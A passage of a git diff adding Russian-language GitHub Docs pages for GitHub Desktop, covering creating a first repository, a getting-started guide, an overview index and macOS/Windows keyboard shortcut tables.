data variables.product.prodname_desktop %} можно в любой поддерживаемой операционной системе. После установки приложения необходимо выполнить вход и проверку подлинности учетной записи в {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, прежде чем создать и клонировать репозитории из руководства. + +Дополнительные сведения об установке и проверке подлинности см. в разделе [Настройка {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop). + +## Часть 2. Создание нового репозитория +Если у вас нет репозиториев, связанных с {% data variables.product.prodname_desktop %}, появится страница "Приступим!", где можно создать и клонировать репозиторий из руководства, клонировать существующий репозиторий из Интернета, создать новый репозиторий или добавить существующий репозиторий с жесткого диска. + ![Страница "Приступим!" ](/assets/images/help/desktop/lets-get-started.png) + +### Создание и клонирование репозитория из руководства +В качестве первого проекта для практического использования {% data variables.product.prodname_desktop %} рекомендуется создать и клонировать репозиторий из руководства. + +1. Нажмите кнопку **Создать репозиторий из руководства и клонировать его**. + ![Кнопка создания и клонирования репозитория из руководства](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) +2. Следуйте инструкциям в руководстве по установке текстового редактора, созданию ветви, редактированию файла, фиксации, публикации в {% data variables.product.prodname_dotcom %} и открытию запроса на вытягивание. + +### Создание репозитория +Если вы не хотите создавать и клонировать репозиторий из руководства, можно создать новый репозиторий. + +1. Нажмите кнопку **Создать репозиторий на жестком диске**. ![Создание репозитория](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) +2. Заполните поля и выберите предпочтительный вариант. + ![Варианты создания репозитория](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) + - "Имя" — укажите имя репозитория как локально, так и в {% data variables.product.product_name %}. + - "Описание" — это необязательное поле, в котором можно указать дополнительные сведения о назначении репозитория. + - "Локальный путь" — расположение репозитория на компьютере. По умолчанию {% data variables.product.prodname_desktop %} создает папку _GitHub_ в папке _Документы_, где будут храниться репозитории, однако вы можете выбрать любое расположение на компьютере. Новый репозиторий будет папкой в выбранном расположении. Например, если вы присвоили репозиторию имя `Tutorial`, в папке, выбранной для локального пути, будет создана папка _Tutorial_. {% data variables.product.prodname_desktop %} запоминает выбранное расположение при следующем создании или клонировании нового репозитория. + - **При инициализации этого репозитория с помощью файла README** создается начальная фиксация с помощью файла _README.md_. Файлы README помогают понять назначение проекта, поэтому мы рекомендуем выбрать этот вариант и указать в файле полезные сведения. Когда пользователь откроет репозиторий в {% data variables.product.product_name %}, первое, что он увидит, изучая проект, — это файл README. Дополнительные сведения см. в статье [О файлах README](/articles/about-readmes). + - В раскрывающемся меню **Пропустить Git** можно добавить настраиваемый файл, чтобы пропустить определенные файлы в локальном репозитории, которые не должны храниться в системе управления версиями. Если вы будете использовать определенный язык или платформу, можно выбрать вариант из списка доступных. Если вы только начинаете работу, вы можете пропустить этот выбор. Дополнительные сведения см. в разделе [Пропуск файлов](/github/getting-started-with-github/ignoring-files). + - В раскрывающемся меню **Лицензия** можно добавить лицензию с открытым кодом в файл _LICENSE_ в репозитории. Добавлять лицензию на этом этапе не обязательно. Дополнительные сведения о доступных лицензиях с открытым кодом и их добавлении в репозиторий см. в разделе [Лицензирование репозитория](/articles/licensing-a-repository). +3. Щелкните **Создать репозиторий**. + +## Часть 3. Изучение возможностей {% data variables.product.prodname_desktop %} +В меню "Файл" в верхней части экрана представлены настройки и действия, которые можно выполнить в {% data variables.product.prodname_desktop %}. Для большинства действий также предусмотрены сочетания клавиш, которые помогут вам работать эффективнее. Полный список сочетаний клавиш см. в разделе [Сочетания клавиш](/desktop/getting-started-with-github-desktop/keyboard-shortcuts). + +### Строка меню {% data variables.product.prodname_desktop %} +В верхней части приложения {% data variables.product.prodname_desktop %} находится панель со сведениями о текущем состоянии репозитория. + - В области **Текущий репозиторий** указано имя репозитория, с которым вы работаете. Можно щелкнуть **Текущий репозиторий**, чтобы переключиться на другой репозиторий в {% data variables.product.prodname_desktop %}. + - В области **Текущая ветвь** указано имя ветви, с которой вы работаете. Можно щелкнуть **Текущая ветвь**, чтобы просмотреть все ветви в репозитории, переключиться на другую ветвь или создать новую ветвь. После создания запросов на вытягивание в репозитории вы также можете просмотреть их, щелкнув **Текущая ветвь**. + - **Опубликовать репозиторий** — отображается в случае, если вы еще не опубликовали репозиторий в {% data variables.product.product_name %}, что вы выполните далее на следующем шаге. Этот раздел панели изменяется в зависимости от состояния текущей ветви и репозитория. В зависимости от контекста будут доступны различные действия, позволяя вам обмениваться данными между локальными и удаленными репозиториями. + + ![Изучение возможностей GitHub Desktop](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) + +### Изменения и журнал +На боковой панели слева находятся представления **Изменения** и **Журнал**. + ![Вкладки "Изменения" и "Журнал"](/assets/images/help/desktop/changes-and-history.png) + + - В представлении **Изменения** отображаются изменения, внесенные в файлы в текущей ветви, но не зафиксированные в локальном репозитории. Внизу есть область с текстовыми полями "Сводка" и "Описание" и кнопкой **Зафиксировать в НАЗВАНИЕ_ВЕТВИ**. Здесь фиксируются новые изменения. Кнопка **Зафиксировать в НАЗВАНИЕ_ВЕТВИ** является динамической, и на ней отображается ветвь, в которую вы фиксируете изменения. + ![Область фиксации](/assets/images/help/desktop/getting-started-guide/commit-area.png) + + - В представлении **Журнала** показаны предыдущие фиксации в текущей ветви репозитория. При создании репозитория должна появиться начальная фиксация, созданная {% data variables.product.prodname_desktop %}. Справа от фиксации в зависимости от выбранных параметров при создании репозитория могут отображаться файлы _.gitattributes_, _.gitignore_, _LICENSE_ или _README_. Вы можете щелкнуть каждый файл, чтобы ознакомиться с различиями для этого файла, которые являются изменениями, внесенными в файл в этой фиксации. В различиях отображаются только части файла, которые были изменены, а не все содержимое файла. + ![Представление журнала](/assets/images/help/desktop/getting-started-guide/history-view.png) + +## Часть 4. Публикация репозитория в {% data variables.product.product_name %} +При создании нового репозитория он существует только на компьютере, и вы единственный, кто может получить доступ к нему. Вы можете опубликовать репозиторий в {% data variables.product.product_name %}, чтобы синхронизировать его на нескольких компьютерах и разрешить другим пользователям доступ к нему. Чтобы опубликовать репозиторий, отправьте локальные изменения в {% data variables.product.product_name %}. + +1. Нажмите **Опубликовать репозиторий** в строке меню. + ![Кнопка "Опубликовать репозиторий"](/assets/images/help/desktop/getting-started-guide/publish-repository.png) + - {% data variables.product.prodname_desktop %} автоматически заполняет поля "Имя" и "Описание" сведениями, введенными при создании репозитория. + - Установите флажок **Сделать этот код частным**, чтобы контролировать, кто может просматривать проект. Если этот флажок не установлен, другие пользователи {% data variables.product.product_name %} смогут просмотреть ваш код. Если этот флажок установлен, ваш код не будет общедоступным. + - В раскрывающемся меню **Организация** (если имеется) можно опубликовать репозиторий в определенной организации, к которой вы принадлежите в {% data variables.product.product_name %}. + + ![Порядок публикации репозитория](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) + 2. Нажмите кнопку **Опубликовать репозиторий**. + 3. Доступ к репозиторию можно получить на сайте {% data variables.product.prodname_dotcom_the_website %} из {% data variables.product.prodname_desktop %}. В меню "Файл" выберите **Репозиторий**, а затем нажмите **Просмотреть в GitHub**. Вы будете перенаправлены непосредственно в репозитории в браузере по умолчанию. + +## Часть 5. Внесение, фиксация и отправка изменений +Теперь, когда вы создали и опубликовали репозиторий, можно приступать к внесению изменений в проект и созданию первой фиксации в репозитории. + +1. Чтобы запустить внешний редактор в {% data variables.product.prodname_desktop %}, нажмите **Репозиторий**, а затем выберите **Открыть в <em>НАЗВАНИЕ_РЕДАКТОРА</em>** . Дополнительные сведения см. в разделе [Настройка редактора по умолчанию](/desktop/getting-started-with-github-desktop/configuring-a-default-editor). + ![Открытие в редакторе](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) + +2. Внесите изменения в созданный ранее файл _README.md_. Вы можете добавить сведения с описанием проекта, например, для чего он предназначен и чем полезен. После того как вы будете удовлетворены изменениями, сохраните их в текстовом редакторе. +3. В {% data variables.product.prodname_desktop %} перейдите в представление **Изменения**. В списке файлов вы увидите _README.md_. Флажок слева от файла _README.md_ указывает на то, что внесенные изменения в файл будут частью фиксации. В будущем вы, возможно, захотите внести изменения в несколько файлов, но зафиксировать потребуется только изменения, внесенные в некоторые из них. Если установить флажок рядом с файлом, этот файл не будет включен в фиксацию. + ![Просмотр изменений](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) + +4. В нижней части списка **Изменения** введите сообщение о фиксации. Справа от изображения профиля введите краткое описание фиксации. Поскольку мы вносим изменения в файл _README.md_, можно ввести сообщение "Добавление сведения о назначении проекта". Под сводкой вы увидите текстовое поле "Описание", где можно ввести более подробное описание изменений в фиксации, что полезно при просмотре истории проекта и понимании причин внесения изменений. Поскольку вы выполняете базовое обновление файла _README.md_, описание можно пропустить. + ![Сообщение о фиксации](/assets/images/help/desktop/getting-started-guide/commit-message.png) +5. Нажмите **Зафиксировать в НАЗВАНИЕ_ВЕТВИ**. На кнопке фиксации отображается текущую ветвь, чтобы вы могли зафиксировать в нужную ветвь. + ![Фиксация в ветвь](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) +6. Чтобы отправить изменения в удаленный репозиторий в {% data variables.product.product_name %}, нажмите кнопку **Отправить в origin**. + ![Кнопка "Отправить в origin"](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) + - Кнопка **Отправить в origin** — это та же кнопка, которую вы нажали для публикации репозитория в {% data variables.product.product_name %}. Эта кнопка изменяется в контексте того, где вы находитесь в рабочем процессе Git. Теперь должно быть указано `Push origin` и `1`, где "1" указывает на то, что существует одна фиксация, которая не была отправлена в {% data variables.product.product_name %}. + - Слово "origin" в названии кнопки **Отправить в origin** означает, что вы отправляете изменения в удаленный репозиторий `origin`, который в данном случае является репозиторием проекта на веб-сайте {% data variables.product.prodname_dotcom_the_website %}. Пока вы не отправите новые фиксации в {% data variables.product.product_name %}, репозиторий проекта на компьютере и репозиторий проекта на сайте {% data variables.product.prodname_dotcom_the_website %} будут отличаться. Это позволяет работать локально и отправлять изменения на веб-сайт {% data variables.product.prodname_dotcom_the_website %} только тогда, когда все будет готово. +7. В окне справа от представления **Изменения** отображаются рекомендуемые действия, которые можно выполнить далее. Чтобы открыть репозиторий в {% data variables.product.product_name %} в браузере, нажмите **Просмотреть в {% data variables.product.product_name %}** . + ![Доступные действия](/assets/images/help/desktop/available-actions.png) +8. В браузере нажмите кнопку **2 фиксации**. Отобразится список фиксаций в этом репозитории в {% data variables.product.product_name %}. Первая фиксация должна быть фиксацией, которую вы только что выполнили в {% data variables.product.prodname_desktop %}. + ![Нажмите кнопку "2 фиксации"](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) + +## Заключение +Вы создали репозиторий, опубликовали его в {% data variables.product.product_name %}, сделали фиксацию и отправили изменения в {% data variables.product.product_name %}. Вы можете использовать этот же рабочий процесс при участии в других проектах, которые вы создаете или над которыми работаете совместно с другими. + +## Дополнительные материалы +- [Начало работы с Git](/github/getting-started-with-github/getting-started-with-git) +- [Общие сведения о {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github) +- [Начало работы с {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github) diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md new file mode 100644 index 000000000000..4c2f43329af7 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md @@ -0,0 +1,117 @@ +--- +title: Начало работы с GitHub Desktop +intro: 'Узнайте, как определить, проверить подлинность и настроить {% data variables.product.prodname_desktop %}, чтобы участвовать в проектах непосредственно со своего компьютера.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' +redirect_from: + - /desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop +shortTitle: Get started +ms.openlocfilehash: ae67886e55d88ca3c6330d3d8f3c76528e765c78 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117320' +--- +## Введение +{% data variables.product.prodname_desktop %} — это приложение, которое позволяет взаимодействовать с {% data variables.product.prodname_dotcom %} с помощью графического пользовательского интерфейса вместо командной строки или веб-браузера. {% data variables.product.prodname_desktop %} способствует более эффективной совместной работе в команде в соответствии с рекомендациями по использованию Git и {% data variables.product.prodname_dotcom %}. Вы можете использовать {% data variables.product.prodname_desktop %} для выполнения большинства команд Git на компьютере с помощью визуального подтверждения изменений. Вы можете отправлять, вытягивать и клонировать удаленные репозитории с помощью {% data variables.product.prodname_desktop %}, а также использовать средства совместной работы, такие как атрибуция фиксаций и создание запросов на вытягивание. + +Это руководство поможет вам приступить к работе с {% data variables.product.prodname_desktop %} путем настройки приложения, проверки подлинности учетной записи, настройки основных параметров и введения основ управления проектами с помощью {% data variables.product.prodname_desktop %}. После прохождения этого учебника вы сможете использовать {% data variables.product.prodname_desktop %} для совместной работы над проектами и подключения к удаленным репозиториям. + +Прежде чем приступить к работе с {% data variables.product.prodname_dotcom %}, вам может быть полезно ознакомиться с Git и {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в следующих руководствах. + +- [Использование Git](/github/getting-started-with-github/using-git) +- [Общие сведения о {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github) +- [Начало работы с {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github) + +{% data variables.product.prodname_desktop %} — это проект с открытым кодом. Вы можете ознакомиться со стратегией, внести свой вклад в проект или открыть проблему, чтобы предоставить отзыв или запросить новую функцию. Дополнительные сведения можно найти в статье Репозиторий [`desktop/desktop`](https://github.com/desktop/desktop). + +## Часть 1. Установка и проверка подлинности +Установить {% data variables.product.prodname_desktop %} можно в любой поддерживаемой операционной системе. Дополнительные сведения см. в разделе [Поддерживаемые операционные системы](/desktop/getting-started-with-github-desktop/supported-operating-systems). + +Чтобы установить {% data variables.product.prodname_desktop %}, перейдите на страницу скачивания [{% data variables.product.prodname_desktop %}](https://desktop.github.com/). Дополнительные сведения см. в разделе [Установка {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/installing-github-desktop). + +После установки {% data variables.product.prodname_desktop %} вы можете выполнить пройти проверку подлинности приложения с помощью учетной записи на {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}. Проверка подлинности позволяет подключаться к удаленным репозиториям на {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}. + +{% mac %} + +1. Чтобы пройти проверку подлинности для {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, вам потребуется учетная запись. Дополнительные сведения о создании учетной записи см. в разделе [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-a-new-github-account) или обратитесь к своему администратору сайта {% data variables.product.prodname_enterprise %}. + +2. В раскрывающемся меню {% data variables.product.prodname_desktop %} выберите **Параметры**. В окне параметров щелкните **Учетные записи** и выполните действия для входа. Дополнительные сведения о см. в статье [Проверка подлинности в {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github). + ![Кнопка входа для GitHub](/assets/images/help/desktop/mac-sign-in-github.png) + +{% endmac %} + +{% windows %} + +1. Чтобы пройти проверку подлинности для {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, вам потребуется учетная запись. Дополнительные сведения о создании учетной записи см. в разделе [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-a-new-github-account) или обратитесь к своему администратору сайта {% data variables.product.prodname_enterprise %}. + +2. В раскрывающемся меню "Файл" выберите **Параметры**. В окне параметров щелкните **Учетные записи** и выполните действия для входа. Дополнительные сведения о см. в статье [Проверка подлинности в {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github). + ![Кнопка входа для GitHub](/assets/images/help/desktop/windows-sign-in-github.png) + +{% endwindows %} + +## Часть 2. Настройка {% data variables.product.prodname_desktop %} +После установки {% data variables.product.prodname_desktop %}, вы можете настроить приложение в соответствии с вашими потребностями. + +{% mac %} + +Вы можете подключать или удалять учетные записи для {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, выбрать текстовый редактор или оболочку по умолчанию, изменить конфигурацию Git, изменить внешний вид {% data variables.product.prodname_desktop %}, настроить системные диалоговые окна и задать параметры конфиденциальности в окне "Настройки" {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделе [Настройка основных параметров](/desktop/getting-started-with-github-desktop/configuring-basic-settings). + + ![Основные параметры в окне настроек](/assets/images/help/desktop/mac-appearance-tab-themes.png) + +{% endmac %} + +{% windows %} + +Вы можете подключать или удалять учетные записи для {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, выбрать текстовый редактор или оболочку по умолчанию, изменить конфигурацию Git, изменить внешний вид {% data variables.product.prodname_desktop %}, настроить системные диалоговые окна и задать параметры конфиденциальности в окне "Настройки" {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделе [Настройка основных параметров](/desktop/getting-started-with-github-desktop/configuring-basic-settings). + + ![Основные параметры в окне настроек](/assets/images/help/desktop/windows-appearance-tab-themes.png) + +{% endwindows %} + +## Часть 3. Участие в проектах с помощью {% data variables.product.prodname_desktop %} +После установки, проверки подлинности и настройки приложения можно приступить к использованию {% data variables.product.prodname_desktop %}. Вы можете создавать, добавлять или клонировать репозитории и использовать {% data variables.product.prodname_desktop %} для управления своими вкладами в репозитории. + +### Создание, добавление и клонирование репозиториев +Вы можете создать новый репозиторий, выбрав меню "Файл" и нажав кнопку **Создать репозиторий...** . Дополнительные сведения приведены в статье [Создание первого репозитория с помощью {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop). + +Вы можете добавить репозиторий с локального компьютера, выбрав меню "Файл" и нажав кнопку **Добавить локальный репозиторий...** . Дополнительные сведения см. в статье [Добавление репозитория с локального компьютера в {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop). + +Вы можете клонировать репозиторий из {% data variables.product.prodname_dotcom %}, выбрав меню "Файл" и щелкнув **Клонировать репозиторий...** . Дополнительные сведения см. в статье [Клонирование и создание вилок репозиториев с помощью {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop). + +{% mac %} + + ![Пункты меню "Файл" для создания, добавления и клонирования репозиториев](/assets/images/help/desktop/mac-file-menu.png) + +{% endmac %} + +{% windows %} + + ![Пункты меню "Файл" для создания, добавления и клонирования репозиториев](/assets/images/help/desktop/windows-file-menu.png) + +{% endwindows %} + +### Внесение изменений в ветвь +Вы можете использовать {% data variables.product.prodname_desktop %} для создания ветви проекта. Ветви изолируют вашу работу по разработке от других ветвей в репозитории, чтобы вы могли безопасно экспериментировать с изменениями. Дополнительные сведения см. в статье [Управление ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches). + + ![Кнопка "Создать ветвь"](/assets/images/help/desktop/new-branch-button-mac.png) + +После внесения изменений в ветвь их можно просмотреть в {% data variables.product.prodname_desktop %} и выполнить фиксацию для отслеживания изменений. Дополнительные сведения см. в статье [Фиксация и проверка изменений в проекте](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project). + + ![Просмотр и создание фиксаций](/assets/images/help/desktop/commit-button.png) + +Если вы хотите получить доступ к изменениям удаленно или поделиться ими с другими пользователями, вы можете отправить фиксации в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Отправка изменений в {% data variables.product.prodname_dotcom %}](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github). + +### Совместная работа с помощью {% data variables.product.prodname_desktop %} +Вы можете использовать {% data variables.product.prodname_desktop %}, чтобы создавать проблемы и запросы на вытягивание для совместной работы над проектами с другими пользователями. Проблемы помогают отслеживать идеи и обсуждать возможные изменения проектов. Запросы на вытягивание позволяют делиться предлагаемыми изменениями с другими пользователями, получать отзывы и объединять изменения в проект. Дополнительные сведения см. в статье [Создание проблемы или запроса на вытягивание](/desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request). + +Вы можете просматривать собственные запросы на вытягивание и запросы других участников совместной работы в {% data variables.product.prodname_desktop %}. Просмотр запроса на вытягивание в {% data variables.product.prodname_desktop %} позволяет увидеть любые предлагаемые изменения и внести дополнительные изменения, открыв файлы и репозитории проекта в текстовом редакторе по умолчанию. Дополнительные сведения см. в статье [Просмотр запроса на вытягивание в {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop). + +### Синхронизация локального репозитория +Когда вы вносите изменения в локальный репозиторий или когда другие пользователи вносят изменения в удаленные репозитории, вам потребуется синхронизировать локальную копию проекта с удаленным репозиторием. {% data variables.product.prodname_desktop %} может поддерживать синхронизацию локальной копии проекта с удаленной версией путем отправки и извлечения фиксаций. Дополнительные сведения см. в разделе [Синхронизация ветви](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch). + +## Дополнительные материалы +- [Установка и проверка подлинности в {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop) +- [Участие в проектах и совместная работа с помощью {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop) diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/index.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/index.md new file mode 100644 index 000000000000..0b60154a3df0 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/index.md @@ -0,0 +1,21 @@ +--- +title: Обзор +intro: Узнайте о GitHub Desktop и быстро создайте свой первый репозиторий. +redirect_from: + - /desktop/getting-started-with-github-desktop/overview +versions: + fpt: '*' +children: + - /getting-started-with-github-desktop + - /creating-your-first-repository-using-github-desktop + - /supported-operating-systems + - /keyboard-shortcuts + - /launching-github-desktop-from-the-command-line +ms.openlocfilehash: 5d78639b697abe9bbd5181a7f312db32494d7cde +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117312' +--- + diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md new file mode 100644 index 000000000000..c781d1c44616 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md @@ -0,0 +1,126 @@ +--- +title: сочетания клавиш +intro: 'Сочетания клавиш можно использовать в {% data variables.product.prodname_desktop %}.' +redirect_from: + - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop + - /desktop/getting-started-with-github-desktop/keyboard-shortcuts + - /desktop/installing-and-configuring-github-desktop/keyboard-shortcuts +versions: + fpt: '*' +ms.openlocfilehash: 3ef22fa8c750cda167d62a3fb7e6b4315fdcb89b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117307' +--- +{% mac %} + +Сочетания клавиш GitHub Desktop в macOS + +## Сочетания клавиш на уровне сайта + +| Сочетание клавиш | Описание: +|-----------|------------ +|<kbd>Command</kbd>+<kbd>,</kbd> | Переход к параметрам +|<kbd>Command</kbd>+<kbd>H</kbd> | Скрытие приложения {% data variables.product.prodname_desktop %} +|<kbd>Option</kbd>+<kbd>Command</kbd>+<kbd>H</kbd> | Скрытие всех остальных приложений +|<kbd>Command</kbd>+<kbd>Q</kbd> | Выйти из {% data variables.product.prodname_desktop %} +|<kbd>Control</kbd>+<kbd>Command</kbd>+<kbd>F</kbd> | Переключение в полноэкранный режим +|<kbd>Command</kbd>+<kbd>0</kbd> | Сброс масштаба до размера текста по умолчанию +|<kbd>Command</kbd>+<kbd>=</kbd> | Увеличение масштаба для более крупного текста и графики +|<kbd>Command</kbd>+<kbd>-</kbd> | Уменьшение масштаба для более мелкого текста и графики +|<kbd>Option</kbd>+<kbd>Command</kbd>+<kbd>I</kbd> | Переключение средств разработки + +## Репозитории + +| Сочетание клавиш | Описание: +|-----------|------------ +|<kbd>Command</kbd>+<kbd>N</kbd> | Добавление нового репозитория +|<kbd>Command</kbd>+<kbd>O</kbd> | Добавление локального репозитория +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>O</kbd> | Клонирование репозитория из {% data variables.product.prodname_dotcom %} +|<kbd>Command</kbd>+<kbd>T</kbd> | Отображение списка репозиториев +|<kbd>Command</kbd>+<kbd>P</kbd> | Отправка последних фиксаций в {% data variables.product.prodname_dotcom %} +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> | Извлечение последних изменений из {% data variables.product.prodname_dotcom %} +|<kbd>Command</kbd>+<kbd>Delete</kbd> | Удаление существующего репозитория +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>G</kbd> | Просмотр репозитория на {% data variables.product.prodname_dotcom %} +|<kbd>Control</kbd>+<kbd>`</kbd> | Открытие репозитория в предпочитаемом средстве терминала +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>F</kbd> | Отображение репозитория в Finder +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>A</kbd> | Открытие репозитория в предпочитаемом средстве редактора +|<kbd>Command</kbd>+<kbd>I</kbd> | Создание проблемы на {% data variables.product.prodname_dotcom %} + +## Ветви + +| Сочетание клавиш | Описание: +|-----------|------------ +|<kbd>Command</kbd>+<kbd>1</kbd> | Отображение всех изменений перед фиксацией +|<kbd>Command</kbd>+<kbd>2</kbd> | Отображение журнала фиксаций +|<kbd>Command</kbd>+<kbd>B</kbd> | Отображение всех ветвей +|<kbd>Command</kbd>+<kbd>G</kbd> | Переход к полю сводки фиксации +|<kbd>Command</kbd>+<kbd>Enter</kbd> | Фиксация изменений, если поле сводки или описания активно +|<kbd>ПРОБЕЛ</kbd>| Выбор или отмена выбора всех выделенных файлов +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>N</kbd> | Создание ветви +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>R</kbd> | Переименование текущей ветви +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>D</kbd> | Удаление текущей ветви +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>U</kbd> | Обновление из ветви по умолчанию +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>B</kbd> | Сравнение с существующей ветвью +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>M</kbd> | Слияние в текущую ветвь +|<kbd>Control</kbd>+<kbd>H</kbd> | Отображение или скрытие спрятанных изменений +|<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>C</kbd> | Сравнение ветвей на {% data variables.product.prodname_dotcom %} +|<kbd>Command</kbd>+<kbd>R</kbd> | Отображение поточного запроса на вытягивание на {% data variables.product.prodname_dotcom %} + +{% endmac %} + +{% windows %} + +Сочетания клавиш GitHub Desktop в Windows + +## Сочетания клавиш на уровне сайта + +| Сочетание клавиш | Описание: +|-----------|------------ +|<kbd>CTRL</kbd>+ <kbd>,</kbd> | Переход к параметрам +|<kbd>F11</kbd> | Переключение в полноэкранный режим +|<kbd>CTRL</kbd>+<kbd>0</kbd> | Сброс масштаба до размера текста по умолчанию +|<kbd>Ctrl</kbd>+<kbd>=</kbd> | Увеличение масштаба для более крупного текста и графики +|<kbd>Ctrl</kbd>+<kbd>-</kbd> | Уменьшение масштаба для более мелкого текста и графики +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd> | Переключение средств разработки + +## Репозитории + +| Сочетание клавиш | Описание +|-----------|------------ +|<kbd>Ctrl</kbd>+<kbd>N</kbd> | Добавление нового репозитория +|<kbd>Ctrl</kbd>+<kbd>O</kbd> | Добавление локального репозитория +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>O</kbd> | Клонирование репозитория из {% data variables.product.prodname_dotcom %} +|<kbd>CTRL</kbd>+<kbd>T</kbd> | Отображение списка репозиториев +|<kbd>Ctrl</kbd>+<kbd>P</kbd> | Отправка последних фиксаций в {% data variables.product.prodname_dotcom %} +|<kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd> | Извлечение последних изменений из {% data variables.product.prodname_dotcom %} +|<kbd>CTRL</kbd>+<kbd>DELETE</kbd> | Удаление существующего репозитория +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd> | Просмотр репозитория на {% data variables.product.prodname_dotcom %} +|<kbd>Ctrl</kbd>+<kbd>`</kbd> | Открытие репозитория в предпочитаемом средстве командной строки +|<kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>F</kbd> | Отображение репозитория в обозревателе +|<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd> | Открытие репозитория в предпочитаемом средстве редактора +|<kbd>Ctrl</kbd>+<kbd>I</kbd> | Создание проблемы на {% data variables.product.prodname_dotcom %} + +## Ветви + +| Сочетание клавиш | Описание: +|-----------|------------ +|<kbd>Ctrl</kbd>+<kbd>1</kbd> | Отображение всех изменений перед фиксацией +|<kbd>Ctrl</kbd>+<kbd>2</kbd> | Отображение журнала фиксаций 